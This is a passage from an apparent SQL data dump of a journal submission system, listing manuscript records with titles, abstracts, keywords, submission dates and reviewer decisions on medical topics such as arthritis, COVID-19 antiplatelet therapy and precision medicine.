pain, stiffness, and decreased mobility. This article provides an overview of spondyloarthritis, including its symptoms, causes, and available treatment options. The symptoms of spondyloarthritis include chronic back pain, joint pain and swelling, fatigue, enthesitis, eye inflammation, and skin and nail changes. The exact cause of spondyloarthritis remains unknown, but genetic and environmental factors are believed to contribute to its development. Diagnosis requires a comprehensive evaluation by a rheumatologist, involving medical history, physical examination, and various imaging studies. Treatment options for spondyloarthritis focus on managing symptoms and reducing inflammation, including medications, physical therapy, lifestyle modifications, and, in severe cases, surgical intervention. Early diagnosis and appropriate treatment can help improve quality of life and slow down disease progression.','spondyloarthritis, chronic inflammatory diseases, spine, joints, symptoms',5065,NULL,'2023-06-20',NULL,'Submitted',2,NULL,'2023-07-06',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13847,13950,971,0,'ipaclr-23-13847','A Meta-Analysis of Antiplatelet-Based Therapy Efficacy and Safety in Patients with COVID-19',NULL,14,1,'Antiplatelet therapy in Patients with COVID-19','Background: COVID-19 induces a procoagulant state with thrombotic events. This meta-analysis explores the efficacy and safety of antiplatelet-based therapy in COVID-19 patients through randomized controlled trials (RCTs).\r\nMethods: A systematic literature search until March 10, 2023, identified seven RCTs involving 23,415 inpatients. Of these, 11,891 received antiplatelet-based treatment, and 11,524 received placebo/other drugs. Statistical analysis was performed using Review Manager 5.4.\r\nResults: The included trials involved patients with a mean age ranging from 54.3 to 62.0 years and a prevalence of hypertension ranging from 10.9% to 65.0% and coronary artery disease ranging from 3.2% to 32.7%. The pooled analysis showed no significant difference in overall mortality between groups (RR 1.0, 95% CI 0.99-1.01, p=0.76). However, antiplatelet therapy significantly reduced major thrombotic events (RR 0.86, 95% CI 0.75-0.99, p=0.04). Conversely, it increased major bleeding risks (RR 1.62, 95% CI 1.24-2.12, p=0.0005). There was no significant difference in the incidence of invasive mechanical ventilation and respiratory death.\r\nConclusion: Antiplatelet therapy does not confer mortality benefit in COVID-19 patients but lowers major thrombotic events while increasing major bleeding risks. Ongoing large RCTs will provide more information on the therapeutic value of this therapy. \r\n','Meta-Analysis; Antiplatelet, COVID-19; thrombosis',4710,NULL,'2023-06-21',NULL,'Submitted',4,NULL,'2023-09-06',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(13848,13951,73,0,'ipjnn-23-13848','Golden Ratio Information for Neural Spike Code',NULL,14,1,'Novel Drug Targets for the Treatment of Neurodegenerative Disorders','','',5353,NULL,'2023-06-21',NULL,'Submitted',2,NULL,'2023-08-04',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13850,13953,73,0,'ipjnn-23-13850','A Spiking Model of Cell Assemblies: Short Term and Associative Memory',NULL,14,1,'Novel Drug Targets for the Treatment of Neurodegenerative Disorders','','',330,NULL,'2023-06-21',NULL,'Submitted',2,NULL,'2023-08-04',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13852,13952,73,0,'ipjnn-23-13852','influences on migraine','',19,2,'Novel Drug Targets for the Treatment of Neurodegenerative Disorders','','',5353,'','2023-06-21',NULL,'Submitted',2,0,'2023-10-12','',1,1,'1','',0,'','',0,0,0,0,NULL,0),(13853,13955,45,0,'iphsj-23-13853','PRIMARY NON-HODGKING LYMPHOMA OF COLEDOCO, WHICH SIMULATES CHOLANGIOCARCINOMA DIAGNOSED BY ENDOSCOPIC ULTRASONOGRAPHY: CASE REPORT AND LITERATURE REVIEW',NULL,15,0,'','  ','  ',4076,NULL,'2023-06-23',NULL,'Submitted',2,NULL,'2023-06-28',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13854,13956,996,0,'ipar-23-13854','Understanding Musculoskeletal Disorders: Causes, Symptoms, and Treatment Options',NULL,5,0,'','Musculoskeletal disorders (MSDs) encompass a wide range of conditions affecting the bones, muscles, tendons, ligaments, and supporting structures of the body. This article provides an overview of the causes, symptoms, and treatment options for MSDs. The causes of these disorders include injuries, overuse and repetitive strain, age-related degeneration, and genetic factors. Common MSDs discussed include osteoarthritis, rheumatoid arthritis, back pain, carpal tunnel syndrome, and tendinitis. The symptoms associated with each condition vary but often include pain, stiffness, swelling, and reduced mobility. Treatment options for MSDs encompass medication, physical therapy, assistive devices, lifestyle modifications, and, in some cases, surgery. Understanding and addressing MSDs early on can lead to improved management, pain relief, and enhanced quality of life for individuals affected by these conditions.','Musculoskeletal disorders, symptoms, treatment options, injuries, overuse',3649,NULL,'2023-06-23',NULL,'Submitted',2,NULL,'2023-07-06',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13855,13957,996,0,'ipar-23-13855','Systemic Lupus Erythematosus: Understanding the Complex Autoimmune Disease',NULL,17,0,'','Systemic Lupus Erythematosus (SLE), commonly known as lupus, is a chronic autoimmune disease characterized by a dysregulated immune system attacking healthy tissues and organs. This article provides an overview of the causes, symptoms, diagnosis, and treatment options for lupus. The etiology of lupus involves genetic, hormonal, and environmental factors, although the exact cause remains unknown. Lupus can affect multiple organs, leading to a diverse range of symptoms such as fatigue, joint pain, skin rashes, and organ-specific complications. Diagnosis is challenging due to the variability of symptoms, but a combination of medical history, physical examinations, and laboratory tests can aid in the process. Treatment options aim to control symptoms, prevent flares, and minimize organ damage, and may include nonsteroidal anti-inflammatory drugs (NSAIDs), corticosteroids, immunosuppressive drugs, and targeted biologic therapies. Lifestyle modifications, including sun protection, exercise, balanced diet, and stress management, complement medical treatment. Ongoing research holds promise for a better understanding of lupus and the development of personalized treatment approaches to improve patient outcomes and quality of life.','Systemic Lupus Erythematosus, lupus, autoimmune disease, chronic, immune system',3649,NULL,'2023-06-23',NULL,'Submitted',2,NULL,'2023-07-06',NULL,1,1,'1','Accept the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(13856,13958,996,0,'ipar-23-13856','Understanding Juvenile Idiopathic Arthritis: Symptoms, Causes, and Treatment Approaches',NULL,17,0,'','Juvenile idiopathic arthritis (JIA) is a chronic autoimmune disorder that primarily affects children and adolescents. This article provides an overview of JIA, including its symptoms, causes, and treatment approaches. JIA is characterized by persistent joint inflammation, leading to joint pain, swelling, and limited mobility. The exact cause of JIA is unknown but is believed to involve a combination of genetic and environmental factors. Treatment approaches for JIA aim to alleviate symptoms, reduce inflammation, and prevent joint damage. These approaches may include medications such as nonsteroidal anti-inflammatory drugs (NSAIDs), disease-modifying antirheumatic drugs (DMARDs), and biologic drugs. Physical and occupational therapy, regular exercise, and lifestyle modifications also play a crucial role in managing JIA. Early diagnosis and appropriate treatment can greatly improve the quality of life for children and adolescents living with JIA. Ongoing research aims to further our understanding of the disease and develop more effective treatment strategies in the future.','Juvenile idiopathic arthritis, Limited mobility, genetic factors, environmental factors, medication',3649,NULL,'2023-06-23',NULL,'Submitted',2,NULL,'2023-07-06',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13857,13959,981,0,'ipft-23-13857','The Importance of Clinical Trials in Advancing Medical Science',NULL,6,0,'','Clinical trials play a crucial role in advancing medical knowledge and improving patient care by evaluating the safety, efficacy, and effectiveness of medical interventions. These meticulously designed studies provide a systematic framework for testing new treatments, diagnostics, and preventive measures, ensuring evidence-based decision-making in healthcare. This abstract explores the significance of clinical trials in the medical field and highlights their fundamental components. It begins by outlining the primary objectives of clinical trials, including assessing the safety and effectiveness of interventions, identifying adverse effects, and comparing different treatment options. Clinical trials also contribute to the development of guidelines and standards for medical practice, helping healthcare professionals make informed decisions for their patients. The abstract then emphasizes the importance of ethical considerations and regulatory frameworks in conducting clinical trials. Ethical principles, such as informed consent, confidentiality, and patient rights, are critical in safeguarding the well-being and autonomy of study participants. Regulatory bodies and institutional review boards play a pivotal role in overseeing trial protocols, ensuring patient safety, and maintaining research integrity. The abstract also underscores the collaborative nature of clinical trials, involving multidisciplinary teams comprising researchers, physicians, statisticians, and patients. It emphasizes the need for robust data collection and analysis methodologies to ensure accurate interpretation of trial outcomes. Clinical trials are indispensable tools for advancing medical knowledge and improving patient care. Through rigorous study designs, ethical considerations, and collaborative efforts, clinical trials provide evidence that guides healthcare practice, informs treatment decisions, and enhances the well-being of patients worldwide. Continued support and participation in clinical trials are crucial for the development of innovative and effective interventions that can transform the landscape of modern medicine.','clinical trials, research, medical interventions, patients, safety, efficacy, treatments, pharmaceuticals, healthcare, evidence-based medicine',5438,NULL,'2023-06-23',NULL,'Submitted',2,NULL,'2023-06-26',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13858,13960,981,0,'ipft-23-13858','The Art and Science of Drug Design: Pioneering Breakthroughs in Medicine',NULL,5,0,'','Drug design plays a pivotal role in the development of new therapeutic interventions to combat a wide range of diseases. It involves a multidisciplinary approach that combines elements of chemistry, biology, computational modeling, and pharmacology to create effective and safe medications. This abstract provides an overview of the principles and methodologies involved in modern drug design, highlighting the innovations and challenges in this dynamic field. The process of drug design begins with the identification of a specific disease target, such as a protein or enzyme involved in the disease pathway. Researchers employ various techniques, including high-throughput screening, virtual screening, and structure-based design, to identify and optimize potential drug candidates. Advances in computational modeling and simulation have revolutionized drug discovery, enabling the prediction of molecular interactions and properties to guide the design process. The complex nature of diseases, with their intricate molecular pathways and genetic variability, poses significant hurdles in identifying suitable targets and designing effective drugs. Moreover, issues such as drug resistance, toxicity, and the high attrition rate in clinical trials add to the challenges faced by researchers. drug design is a dynamic and evolving field that continues to drive advancements in modern therapeutics. Through the integration of diverse disciplines and innovative approaches, researchers strive to develop safe and effective drugs to address unmet medical needs. Overcoming the challenges associated with drug design requires ongoing collaboration, technological advancements, and a deep understanding of disease biology, paving the way for improved treatment options and better patient outcomes.\r\nDrug design is a dynamic and evolving field that continues to drive advancements in modern therapeutics. Through the integration of diverse disciplines and innovative approaches, researchers strive to develop safe and effective drugs to address unmet medical needs. Overcoming the challenges associated with drug design requires ongoing collaboration, technological advancements, and a deep understanding of disease biology, paving the way for improved treatment options and better patient outcomes.','drug design, drug discovery, medicinal chemistry, molecular modeling, target identification, lead optimization, drug development',5438,NULL,'2023-06-23',NULL,'Submitted',2,NULL,'2023-06-26',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13859,13961,73,0,'ipjnn-23-13859','Sleep and Neurodevelopment Convergence is Reflected in the Overlap of their Genetic Architecture',NULL,3,1,'Novel Drug Targets for the Treatment of Neurodegenerative Disorders','','',357,NULL,'2023-06-24',NULL,'Submitted',2,NULL,'2023-08-04',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13860,13962,639,0,'ipfs-23-13860','Tuna fish market in the Androth Island, UT of Lakshadweep, India: A field study',NULL,14,2,'','The Laccadivian islands are rich in Thunnus fish species that have high market values across different continents. Hence, Tuna fish industry is one of the major industries in all islands of the union territory of Lakshadweep (UTL). Therefore, to examine the current scenario of tuna fish industry, a field study on different attributes of tuna fishing and trading in the Androth island of UTL was performed. A morning fish market located in the eastern side of Androth island, UTL was selected as the field of study. \r\n\r\nThe fishermen of Androth jetty fish market participated in the field study. Details regarding Tuna landings were collected from the fishermen. The field study identified that fishing and trading is done for raw tuna fish as well as dry tuna fish forms. House hold tuna consumption and local tuna-based food markets resonates well as there is high abundance of tuna species during the seasons. It can be said that Tuna based traditional food markets are sustainable in Androth due to converting raw tuna fish into dried form called “mass meen”. A market thus exists for developing Tuna based sea food industry on a larger scale at Androth.','Coastal Island, Androth, Fish market, Tuna fish industry',1776,NULL,'2023-06-24',NULL,'Submitted',2,NULL,'2023-10-12',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13861,13963,277,0,'ipadm-23-13861','Lactato Serico Como Predictor De Mortalidad En Pacientes Con Hemorragias De Vias Digestivas Altas',NULL,14,0,'','Background: Lactic acid is produced and eliminated by our body, but when one of these steps fails, such as lack of clearance due to overproduction of lactic acid, it can lead to disastrous consequences on health, to the point of causing death. So these lactic acid levels can work in two ways in clinical practice, either as a risk marker or as a therapeutic target. The risk of death is directly proportional to the level of lactic acid in the blood. Gastrointestinal hemorrhages can be classified depending on the location of the source of bleeding, either in upper or lower bleeding. Upper gastrointestinal bleeding is much more frequent than lower gastrointestinal bleeding, the incidence is approximately 67/100,000 inhabitants in upper bleeding and 36/100,000 inhabitants in low.\r\nMethodology: A narrative review was carried out through various databases from January 2012 to February 2022; the search and selection of articles was carried out in journals indexed in English. The following keywords were used: Lactate, Mortality, Gastrointestinal bleeding, sepsis.\r\nResults: Comparing upper gastrointestinal bleeding with peptic ulcer, we can see that the latter has decreased its incidence, while upper gastrointestinal bleeding (UGH) continues to be an important cause of hospitalization with substantial mortality despite significant advances. in your treatment. Increased serum lactate level causes lactic acidosis in special conditions. In general, lactic acidosis is characterized by a persistent increase in blood lactate levels (usually > 4 to 5 mmol/L). Lactate continues to be used as a prognostic tool in other patient populations, such as intensive care patients, patients with septic shock, recent surgery, burns. Shock is considered the main cause of the generation of hyperlactatemia, severe levels of lactate and lactic acidosis.\r\nConclusions: This review offers updated and detailed information on the role of lactic acid as a predictor of mortality in patients with gastrointestinal bleeding.','Lactate; Mortality; Gastrointestinal bleeding; sepsis.',5022,NULL,'2023-06-24',NULL,'Submitted',2,NULL,'2023-07-18',NULL,1,1,'1','Accepted to publish with the required changes or can proceed with the publication.',0,'','',NULL,0,0,0,NULL,0),(13862,13964,667,0,'iptb-23-13862','Advancements in Precision Medicine: Transforming Healthcare through Personalized Treatment Strategies',NULL,2,0,'','Precision medicine, a rapidly evolving field at the intersection of genomics, data science, and healthcare, holds great promise for revolutionizing patient care. This research article provides an overview of the current state of precision medicine and highlights recent advancements in the field. It explores the applications of precision medicine across various disease areas, including cancer, cardiovascular diseases, and rare genetic disorders. Additionally, the article discusses the challenges and ethical considerations associated with implementing precision medicine approaches and presents potential solutions for overcoming these hurdles. Furthermore, it emphasizes the importance of interdisciplinary collaboration and data sharing to maximize the benefits of precision medicine. Overall, this article aims to provide a comprehensive overview of precision medicine and its potential to transform healthcare by enabling personalized treatment strategies.','precision medicine, personalized medicine, genomics, data science, targeted therapy, genetic testing, ethics, healthcare, interdisciplinary collaboration.',3933,NULL,'2023-06-24',NULL,'Submitted',2,NULL,'2023-06-28',NULL,1,1,'1','Accept the article for publishing',0,NULL,NULL,NULL,0,0,0,NULL,0),(13863,13965,667,0,'iptb-23-13863','Embracing Personalized Medicine: Revolutionizing Healthcare',NULL,19,0,'','Personalized medicine has revolutionized healthcare by shifting from a one-size-fits-all approach to tailoring medical treatments to individual patients. This article explores the remarkable advancements in personalized medicine and their potential to reshape the future of healthcare. By leveraging genetic and molecular profiles, genomics and pharmacogenomics enable healthcare providers to develop tailored interventions and precision therapies. Biomarkers and predictive diagnostics aid in early disease detection and personalized treatment plans. Integrating digital health technologies allows for real-time monitoring and personalized interventions. However, ethical considerations and challenges, including privacy concerns and equitable access, must be addressed. Despite these challenges, personalized medicine offers a promising future for proactive, patient-centered care.','personalized medicine, genomics, pharmacogenomics, biomarkers, predictive diagnostics, digital health technologies, genetic profiling, precision therapies, patient-centered care, healthcare revolution.',5447,NULL,'2023-06-24',NULL,'Submitted',2,NULL,'2023-06-28',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13864,13966,667,0,'iptb-23-13864','Revolutionizing Disease Detection: The Power of Molecular Diagnostics',NULL,2,0,'','Molecular diagnostics has emerged as a transformative approach in healthcare, revolutionizing disease detection and management. By analyzing genetic materials such as DNA and RNA, this field allows for precise identification of genetic variations, mutations, and markers associated with various diseases. The applications of molecular diagnostics span across infectious diseases, cancer, genetic disorders, and pharmacogenomics. Techniques such as polymerase chain reaction (PCR), nucleic acid sequencing, and advanced technologies like CRISPR-Cas9 gene editing and single-cell analysis have expanded the scope of molecular diagnostics. The integration of molecular diagnostics with artificial intelligence and bioinformatics further enhances its potential. However, challenges regarding cost-effectiveness, standardization, and accessibility need to be addressed. Despite these challenges, molecular diagnostics holds immense promise in improving patient outcomes, enabling targeted therapies, and ushering in an era of precision medicine.','Molecular diagnostics, Genetic materials, DNA, RNA, Disease detection, Disease management, Infectious diseases, Cancer, Genetic disorders, Pharmacogenomics.',3933,NULL,'2023-06-24',NULL,'Submitted',2,NULL,'2023-06-28',NULL,1,1,'1','Accept the article ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13865,13967,667,0,'iptb-23-13865','Translational Research: Bridging the Gap between Scientific Discovery and Real-World Impact',NULL,19,0,'','Translational research serves as a crucial link between scientific discoveries and their real-world applications. It involves the translation of knowledge gained from basic scientific investigations into practical interventions that can improve human health and well-being. This article provides an overview of translational research, its phases (T1-T4), and its significance in driving scientific progress. Through the continuum of translational research, from preclinical studies to clinical trials, implementation, and dissemination, researchers aim to develop new treatments, diagnostics, and preventive measures that can benefit patients and society. Translational research accelerates innovation, fosters collaboration, and addresses unmet medical needs, ultimately aiming to bridge the gap between scientific discovery and tangible impact.','Translational research, Scientific discoveries, Practical applications, Basic science, Clinical settings, Human health, Well-being, T1-T4 phases, Preclinical studies, Clinical trials, Implementation',5429,NULL,'2023-06-24',NULL,'Submitted',2,NULL,'2023-06-28',NULL,1,1,'1','Accept the article ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13866,13968,667,0,'iptb-23-13866','Unveiling Disease Mechanisms: A Journey into Understanding the Inner Workings of Human Ailments',NULL,2,0,'','Disease mechanisms form the foundation of medical research, serving as the cornerstone for understanding the complexities of human ailments. This article explores the intricate processes underlying disease development and progression, encompassing genetic variations, cellular dysfunction, immune responses, and environmental influences. Genetic discoveries, facilitated by genomic sequencing technologies and genome-wide association studies, have unveiled disease-causing genes and genetic mutations. At the cellular level, dysfunctions in signaling pathways, protein misfolding, and mitochondrial abnormalities contribute to disease manifestation. Immunological disorders, often stemming from deregulated immune responses, result in autoimmune conditions and chronic inflammation. Furthermore, environmental triggers and epigenetic modifications have emerged as influential factors in disease mechanisms. Understanding these multifaceted aspects of disease mechanisms offers invaluable insights for the development of personalized diagnostics, targeted therapies, and preventive strategies. By unravelling the intricacies of disease mechanisms, we move closer to a future of improved healthcare outcomes and a reduced burden of illness.','Disease mechanisms; Genetic variations; Cellular dysfunction; Signaling pathways; Protein misfolding; Mitochondrial dysfunction; Immune responses; Autoimmune diseases; Chronic inflammation; Environmental triggers.',3933,NULL,'2023-06-24',NULL,'Submitted',2,NULL,'2023-06-28',NULL,1,1,'1','Accept the article for publication ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13867,13963,277,0,'ipadm-23-13867','Estenosis Biliares Benignas: Manejo Endoscópico Mediante Bilioplastia',NULL,14,0,'','Introduction: With the advent of laparoscopic cholecystectomy, the incidence of bile duct lesions has increased. Several factors contribute to the formation of scars within the bile ducts and the subsequent development of a stenosis. \r\nObjective: To analyze the long-term results of bilioplasty, using plastic prostheses, in the management of benign biliary stenosis. \r\nMaterials and methods: A retrospective, descriptive study was carried out in patients over 18 years of age referred to the Endoscopic Surgery Teaching Assistance Unit (UDACE), Guillermo Grant Benavente Regional Hospital in Concepción, Chile, between 01-01-2003 and 31-12-2014, with the diagnosis of benign biliary stenosis. A total of 15 patients were studied, who underwent endoscopic retrograde cholangiopancreatography with the insertion of as many plastic prostheses as possible in the first session and with scheduled installation of new ones every two weeks. Follow-up was performed during therapy and after stent removal.\r\nResults: Endoscopic therapy by bilioplasty was successful in all cases. We were able to classify outcomes into 14 (93.3%) of patients. The results were excellent in 13 (93%) and good in 1 (7%). There were no bad results. Complications were investigated in 2 patients (13.3%). These consisted of early migration of the prosthesis and late recurrence of the stenosis. The latter was resolved endoscopically. \r\nConclusion: Biloplasty in the treatment of postoperative biliary stenosis, in most patients, is associated with excellent results and low complication rate. Recurrence if present can be managed endoscopically.','Stenosis, Bilateral, Benign, Endoscopic, Bioplastic.',2805,NULL,'2023-06-24',NULL,'Submitted',2,NULL,'2023-07-18',NULL,1,1,'1','Accepted to publish with the required changes or can proceed with the publication.',0,NULL,NULL,NULL,0,0,0,NULL,0),(13868,13963,277,0,'ipadm-23-13868','Primary Non-Hodgking Lymphoma Of Coledoco, Which Simulates Cholangiocarcinoma Diagnosed By Endoscopic Ultrasonography: Case Report And Literature Review.',NULL,14,0,'','','',2805,NULL,'2023-06-24',NULL,'Submitted',2,NULL,'2023-07-18',NULL,1,1,'1','Accepted to publish the article according to the requirement.\r\n',0,NULL,NULL,NULL,0,0,0,NULL,0),(13869,13969,667,0,'iptb-23-13869','Revolutionizing Healthcare: The Promise of Regenerative Medicine',NULL,2,0,'','Regenerative medicine has emerged as a transformative field at the intersection of biology, engineering, and genetics, with the potential to revolutionize healthcare. This multidisciplinary approach focuses on harnessing the body\'s natural regenerative capabilities to restore, replace, or regenerate damaged tissues and organs. Through cellular therapies, tissue engineering, and biomaterials, regenerative medicine offers innovative solutions for previously incurable diseases and injuries. Stem cell therapies, tissue engineering techniques, and advanced biomaterials have shown promising results in preclinical and clinical studies. Challenges such as cell sourcing, differentiation, and immune rejection need to be addressed for widespread implementation. Nonetheless, regenerative medicine holds tremendous promise for personalized treatments, improved patient outcomes, and the future of healthcare.','Regenerative medicine, Cellular therapies, Tissue engineering, Biomaterials, Stem cell therapy, Organ regeneration, Personalized treatments, Healthcare revolution, Preclinical studies',3933,NULL,'2023-06-24',NULL,'Submitted',2,NULL,'2023-06-28',NULL,1,1,'1','Accept the manuscript ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13870,13970,667,0,'iptb-23-13870','The Crucial Role of Preclinical Research in Advancing Medical Breakthroughs',NULL,19,0,'','Preclinical research plays a pivotal role in advancing medical breakthroughs by serving as the initial phase of drug discovery and development. This article highlights the significance of preclinical research in evaluating the safety, efficacy, and mechanism of action of potential therapeutics before they progress to human clinical trials. It examines the importance of safety and toxicity assessment, pharmacokinetics and pharmacodynamics studies, proof of concept experiments, regulatory compliance, and bridging the gap between laboratory discoveries and clinical applications. Preclinical research acts as a crucial foundation for scientific advancements, minimizing risks, and improving patient outcomes. By providing essential data and insights, preclinical studies accelerate the development of novel therapies and pave the way for ground-breaking medical innovations.','preclinical research, drug discovery, drug development, safety assessment, toxicity evaluation, pharmacokinetics, pharmacodynamics, proof of concept, regulatory compliance.',3933,NULL,'2023-06-24',NULL,'Submitted',2,NULL,'2023-06-28',NULL,1,1,'1','Accept the article ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13871,13971,971,0,'ipaclr-23-13871','Association of thyroid hormone',NULL,14,2,'Emerging Technologies in Clinical Research: Challenges and Opportunities','','',3249,NULL,'2023-06-26',NULL,'Submitted',2,NULL,'2023-10-12',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13872,13972,996,0,'ipar-23-13872','Ankylosing Spondylitis: Understanding the Causes, Symptoms, and Treatment Options',NULL,5,0,'','Ankylosing spondylitis (AS) is a chronic inflammatory disease that primarily affects the spine, causing pain, stiffness, and limited mobility. It belongs to a group of rheumatic diseases known as spondyloarthritis, characterized by inflammation of the spine and sacroiliac joints. The exact cause of AS is still unknown, but genetic and environmental factors are believed to contribute to its development. Common symptoms include chronic pain and stiffness, limited mobility, fatigue, and joint pain and swelling. Diagnosis can be challenging due to overlapping symptoms with other conditions, but a combination of medical history, physical examination, imaging tests, and blood tests can aid in the diagnosis. While there is no cure for AS, treatment options focus on managing symptoms and improving quality of life. These include medication, physical therapy, posture and body mechanics, surgery (in severe cases), and lifestyle modifications. Regular monitoring and support from healthcare professionals can help individuals with AS effectively manage their condition and lead fulfilling lives.','Ankylosing spondylitis, chronic inflammatory disease, spine, sacroiliac joints, spondyloarthritis',3649,NULL,'2023-06-26',NULL,'Submitted',2,NULL,'2023-07-06',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13873,13973,996,0,'ipar-23-13873','A Comprehensive Approach to Pain Management: Enhancing Quality of Life',NULL,17,0,'','Pain is a complex and pervasive condition that significantly impacts an individual\'s quality of life. The field of pain management has evolved to encompass a comprehensive approach that addresses the multidimensional nature of pain. This article explores the various components of a comprehensive pain management strategy aimed at enhancing quality of life. The approach includes understanding the mechanisms of pain, utilizing pharmacological interventions with caution, incorporating interventional techniques, leveraging physical and rehabilitation therapies, addressing psychological aspects, integrating complementary and alternative medicine, and promoting collaborative, multidisciplinary care. By adopting this comprehensive approach, healthcare providers can better manage pain, improve functionality, and ultimately enhance the overall well-being of individuals suffering from pain.','Pain management, Comprehensive approach, Quality of life, Multidisciplinary, Pharmacological interventions',3649,NULL,'2023-06-26',NULL,'Submitted',2,NULL,'2023-07-06',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13874,13975,667,0,NULL,'In vitro Diagnostics: Advancements and Applications',NULL,2,0,'','In vitro diagnostics (IVD) play a crucial role in modern healthcare, providing valuable insights into disease detection, monitoring, and treatment. This research article provides an overview of recent advancements and applications in the field of in vitro diagnostics. It discusses the various techniques, technologies, and platforms utilized in IVD, highlighting their significance in improving patient outcomes. The article also explores emerging trends, challenges, and future prospects in the rapidly evolving field of in vitro diagnostics.','In vitro diagnostics, Immunoassays, Molecular diagnostics, Point-of-care testing, Biomarker discovery, Microfluidics, Lab-on-a-chip, Biosensors, Wearable diagnostics.',3933,NULL,'2023-06-28',NULL,'Submitted',4,NULL,'2023-07-31',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13876,13976,667,0,'iptb-23-13876','Systems Biology Integrating Multiscale Data to Unveil the Complexity of Biological Systems',NULL,19,0,'','Systems biology is an interdisciplinary field that aims to understand the complexity of biological systems by integrating and analyzing vast amounts of data generated from different molecular levels. By combining computational modeling, high-throughput technologies, and experimental validation, systems biology offers a holistic and quantitative approach to unravel the intricate relationships and behaviors within living organisms. This research article provides an overview of the principles, methodologies, and applications of systems biology, highlighting its significant contributions to various biological fields, including medicine, biotechnology, and ecology. We discuss the key components of systems biology, including data acquisition, data integration, mathematical modeling, and experimental validation. Furthermore, we explore the challenges and future directions of systems biology in addressing complex biological questions and aiding in the development of personalized medicine and synthetic biology.','Systems biology, Multiscale data, Biological systems, Integration, Complexity, High-throughput technologies, Computational modeling, Experimental validation, Networks, Pathways, Personalized medicine, Biotechnology, Ecology.',3933,NULL,'2023-06-28',NULL,'Submitted',2,NULL,'2023-06-29',NULL,1,1,'1','Accept the article ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13877,13977,667,0,'iptb-23-13877','Personalized Medicine: Advancing Healthcare through Precision Treatment',NULL,17,0,'','Personalized medicine, also known as precision medicine, has emerged as a ground-breaking paradigm in healthcare, revolutionizing how diseases are diagnosed, treated, and managed. This research article aims to provide a comprehensive overview of personalized medicine, including its principles, advancements, challenges, and potential implications for the future of healthcare.','Personalized medicine, Precision medicine, Genomic sequencing, Genetic variations, Targeted therapies, Oncology, Cardiology, Neurology, Pharmacology, Data analytics, Machine learning, Ethical considerations, Multi-omics data, Disease management.',5447,NULL,'2023-06-28',NULL,'Submitted',2,NULL,'2023-06-29',NULL,1,1,'1','Accept the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(13878,13978,45,0,'iphsj-23-13878','Information about tracking malaria and arbovirus vectors: Influence of Anopheles Mosquito Saliva on Plasmodium Infection',NULL,15,0,'','Malaria, a life-threatening disease caused by the Plasmodium parasite, continues to pose a significant global health challenge. The transmission of malaria primarily occurs through the bite of infected female Anopheles mosquitoes. While the mechanism of Plasmodium transmission is well-established, recent research has unveiled the substantial influence of Anopheles mosquito saliva on Plasmodium infection. This review article explores the complex interactions between mosquito saliva and the malaria parasite, shedding light on the various ways in which mosquito saliva impacts different stages of Plasmodium infection. Understanding these interactions can pave the way for innovative strategies in malaria control and prevention','Vector surveillance, Mosquito monitoring, Entomological surveys, Mosquito species composition, Mosquito abundance, Pathogen infection rates, Vector competence, Insecticide resistance, Blood meal analysis',4076,NULL,'2023-06-28',NULL,'Submitted',2,NULL,'2023-07-05',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13880,13974,996,0,'ipar-23-13880','Understanding the Path to Recovery or Deterioration in Disease',NULL,5,0,'','Disease progression is a multifaceted process that encompasses the stages, patterns, and outcomes of a disease as it evolves over time. This article provides an overview of disease progression, focusing on the factors that influence the path to recovery or deterioration. The stages of disease progression, including the initial, prodromal, acute, and chronic stages, are discussed, highlighting the distinct characteristics and symptoms associated with each stage. Furthermore, the factors influencing disease progression, such as disease-specific factors, treatment interventions, patient factors, and environmental factors, are explored. Understanding these factors is vital for accurate diagnosis, effective treatment planning, and prognosis. By gaining insights into disease progression, healthcare providers can improve patient care, optimize treatment strategies, and enhance outcomes for individuals affected by various diseases and conditions.','Disease progression, Stages, symptoms, Diagnosis, Treatment interventions',3649,NULL,'2023-06-29',NULL,'Submitted',2,NULL,'2023-07-06',NULL,1,1,'0','Accept the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(13882,13981,277,0,'ipadm-23-13882','Emerging Applications of Sodium-Glucose Transporter Type 2 Inhibitors: Potential Benefits Beyond Glycemic Control',NULL,11,0,'',' ','',2805,NULL,'2023-06-29',NULL,'Submitted',2,NULL,'2023-08-03',NULL,1,1,'1','Accepted to publish.',0,'','',NULL,0,0,0,NULL,0),(13883,13982,277,0,'ipadm-23-13883','The Impact of Sodium-Glucose Transporter Type 2 Inhibitors on Weight Loss and Body Composition in Patients with Type 2 Diabetes',NULL,15,0,'',' ','',2805,NULL,'2023-06-29',NULL,'Submitted',2,NULL,'2023-08-03',NULL,1,1,'1','Accepted to submit.',0,'','',NULL,0,0,0,NULL,0),(13884,13983,277,0,'ipadm-23-13884','Comparative Analysis of Antidiabetic Agents: Which Treatment Option is Right for You?',NULL,17,0,'',' 